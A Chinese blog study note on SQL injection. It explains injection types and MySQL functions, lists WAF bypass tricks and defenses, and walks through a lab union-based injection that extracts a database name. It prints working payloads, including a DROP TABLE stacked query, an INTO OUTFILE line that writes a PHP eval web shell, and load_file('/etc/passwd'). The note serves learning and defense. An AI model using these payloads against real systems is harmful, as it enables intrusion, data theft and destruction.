当前位置: 首页 > ops >正文

0527漏洞原理:SQL注入笔记

理论知识

1. SQL注入概述

定义

  • 攻击者通过将恶意SQL代码插入用户输入参数,欺骗数据库执行非预期操作。
  • 动态网站(依赖数据库)易受攻击,静态网站(HTML)无此风险。

动态网站工作流程

  1. 用户提交请求(如id=36)。
  2. 服务器动态构造SQL语句(如SELECT * FROM Article WHERE id=36)。
  3. 数据库返回结果,服务器生成页面返回用户。

攻击手段

  • 判断注入点 → 收集数据库信息 → 重构SQL语句 → 猜解库/表/字段 → 窃取数据或提权。

危害

  • 数据库信息泄露
  • 服务器被控制
  • 网页篡改或植入木马


2. SQL注入函数(MySQL)

常用函数

函数功能
user()当前数据库用户名
database()当前数据库名
version()数据库版本
@@datadir数据库存储路径
load_file()读取文件
into outfile写入文件
concat()字符串拼接
group_concat()合并多行数据

注释技巧

  • 单行注释# 或 -- (需空格)。
  • 多行注释/*...*/,可绕过WAF(如/*!50001 SELECT*/)。

 


3. SQL注入类型

按数据类型划分

  • 数字型注入id=1(无需引号)。
  • 字符型注入name='admin'(需闭合引号)。

按执行效果划分

类型特点
联合查询使用UNION SELECT合并查询结果,需列数一致。
报错注入利用updatexml()extractvalue()触发错误回显信息。
布尔盲注通过页面返回真假(如id=1 and 1=1)逐字符猜解数据。
时间盲注利用sleep()延迟判断条件(如if(1=1,sleep(5),0))。
堆叠查询执行多条SQL语句(如id=1; DROP TABLE users)。

按提交方式划分

  • GET注入:参数在URL中(如?id=1)。
  • POST注入:参数在表单中(如登录框)。
  • HTTP头注入:攻击User-AgentCookieReferer等头部字段。

4. SQL注入实例

联合查询步骤

  1. 判断注入点id=1'是否报错。
  2. 求列数ORDER BY 4(直到报错)。
  3. 找显示位UNION SELECT 1,2,3,4
  4. 爆数据
    • 库名:database()
    • 表名:group_concat(table_name) FROM information_schema.tables
    • 字段:group_concat(column_name) FROM information_schema.columns

文件操作

  • 写文件:SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/shell.php';
  • 读文件SELECT load_file('/etc/passwd');

5. WAF绕过技巧

方法示例
大小写混合UnIoN SeLeCt
多重关键字ununionion selselectect
编码%27(单引号URL编码)
注释/*!SELECT*/ 或 --
等价函数mid()替代substr()
特殊符号LIKE替代=/**/替代空格

6. SQL注入防御

  1. 输入过滤

    • 使用str_replace()过滤敏感字符(如引号、注释符)。
    • 正则表达式匹配非法输入(如/[<>#]/)。
  2. 参数化查询

    • 预编译SQL(如PDO的prepare())。
  3. 最小权限原则

    • 数据库账户仅授予必要权限。
  4. 错误处理

    • 关闭详细错误回显,避免泄露信息。
  5. WAF防护

    • 部署Web应用防火墙拦截恶意请求。

 

  


实际操作 

实验网站
添加单引号,页面报错,存在SQL注入(报错信息未被隐藏)

假设字符型,再添加单引号,报错。假设不成立,为数字型

id=17%20order%20by

%205--+

爆破查询列数长度为25

查询显示位数

id=17%20union%20select

%201,2,3,4,5,6,7,8,9,10,11,

12,13,14,15,16,17,18,19,20,

21,22,23,24,25--+

id=-1%20unio……

获取库名

id=-1%20union%20select%20

1,2,database(),4,5,6,7,8,9,10,1

1,12,13,14,15,16,17,18,19,20,

21,22,23,24,25--+

# 对网站获取到库名即可停止和提交漏洞

http://www.xdnf.cn/news/9251.html

相关文章:

  • CSRF和XSS攻击防御指南
  • 院校机试刷题第十三天:代码随想录算法训练营第七天
  • 调不好分布式锁?HarmonyOS + Redis 分布式锁失效排查全路径
  • Oracle20200714GI_PSU补丁流程及问题收集
  • 一种比较精简的协议
  • python学习day30
  • SSTable(Sorted String Table)结构与用途详解
  • 数据类型(基本类型)day2
  • C-内存函数,动态内存
  • Qt布局连续添加控件
  • Web3怎么本地测试连接以太坊?
  • 封装文档核心知识点总结(通俗版)
  • 利用 MkDocs 和 GitHub 部署个人博客网页
  • LINUX安装运行jeelowcode后端项目(命令行)
  • 【运维自动化-标准运维】如何实现在不同步骤间传递参数
  • 人该怎样活着呢?54
  • 随机模拟专题:第一课
  • 5G网络切片技术:开启网络服务定制化新时代
  • SpringMVC注解、@Controller注解和@RestController注解的区别、@RequestMapper、@PathVariable
  • 制作一款打飞机游戏59:子弹生成
  • DeepSeek 赋能智能安防:从算法革新到场景落地的全解析
  • 4月报 | SeaTunnel支持TDengine的多表Sink功能
  • 机器学习算法-- K 近邻算法(KNN)
  • Linux 资源限制(进程级,用户级,系统级)
  • Debian 11 之使用hostapd与dnsmasq进行AP设置
  • 欧拉定理:若 gcd(a,n)=1,则 a^φ(n)≡1(mod n)。
  • 2025 吉林CCPC
  • 【数据结构】 时间复杂度
  • 浙大版《Python 程序设计》题目集6-3,6-4,6-5,6-6列表或元组的数字元素求和及其变式(递归解法)
  • 前端生成UUID